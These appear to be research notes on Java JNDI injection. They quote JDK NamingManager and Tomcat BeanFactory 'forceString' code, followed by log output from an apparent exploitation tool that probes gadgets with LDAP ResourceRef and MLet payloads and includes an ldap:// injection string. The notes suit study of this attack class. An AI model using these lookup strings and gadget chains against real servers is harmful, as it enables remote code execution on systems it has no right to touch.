// use reference if possible Reference ref = null; if (refInfo instanceof Reference) { ref = (Reference) refInfo; } elseif (refInfo instanceof Referenceable) { ref = ((Referenceable)(refInfo)).getReference(); } Object answer;
if (ref != null) { String f = ref.getFactoryClassName(); if (f != null) { // if reference identifies a factory, use exclusively
factory = getObjectFactoryFromReference(ref, f); if (factory instanceof DirObjectFactory) { return ((DirObjectFactory)factory).getObjectInstance( ref, name, nameCtx, environment, attrs); } elseif (factory != null) { return factory.getObjectInstance(ref, name, nameCtx, environment); } // No factory found, so return original refInfo. // Will reach this point if factory class is not in // class path and reference does not contain a URL for it return refInfo;
// Try to use current class loader try { clas = helper.loadClass(factoryName); } catch (ClassNotFoundException e) { // ignore and continue // e.printStackTrace(); } // All other exceptions are passed up.
// Not in class path; try to use codebase String codebase; if (clas == null && (codebase = ref.getFactoryClassLocation()) != null) { try { clas = helper.loadClass(factoryName, codebase); } catch (ClassNotFoundException e) { } }
RefAddr ra = ref.get("forceString"); Map<String, Method> forced = new HashMap<>(); String value;
if (ra != null) { value = (String)ra.getContent(); Class<?> paramTypes[] = new Class[1]; paramTypes[0] = String.class; String setterName; int index;
/* Items are given as comma separated list */ for (String param: value.split(",")) { param = param.trim(); /* A single item can either be of the form name=method * or just a property name (and we will use a standard * setter) */ index = param.indexOf('='); if (index >= 0) { setterName = param.substring(index + 1).trim(); param = param.substring(0, index).trim(); } else { setterName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1); } try { forced.put(param, beanClass.getMethod(setterName, paramTypes)); } catch (NoSuchMethodException|SecurityException ex) { thrownew NamingException ("Forced String setter " + setterName + " not found for property " + param); } } }
[+] Received LDAP Query: checkgadge/javax.el.ELProcessor/http/127.0.0.1:8889/javax.el.ELProcessor [+] Gadge: javax.el.ELProcessor [+] Sending LDAP ResourceRef result for checkgadge/javax.el.ELProcessor/http/127.0.0.1:8889/javax.esl.ELProcessor with javax.management.loading.MLet payload [+] New HTTP Request From /127.0.0.1:60017 /javax.esl.elprocessor [!] Response Code: 404 ldap://127.0.0.1:1389/checkgadge/javax.els.ELProcessor/http/127.0.0.1:8889/javax.el.ELsProcessor [+] Received LDAP Query: checkgadge/javax.esl.ELProcessor/http/127.0.0.1:8889 [+] Gadge: javax.esl.ELProcessor [+] Sending LDAP ResourceRef result for checkgadge/javax.els.ELProcessor/http/127.0.0.1:8889/javax.el.ELsProcessor with javax.management.loading.MLet payload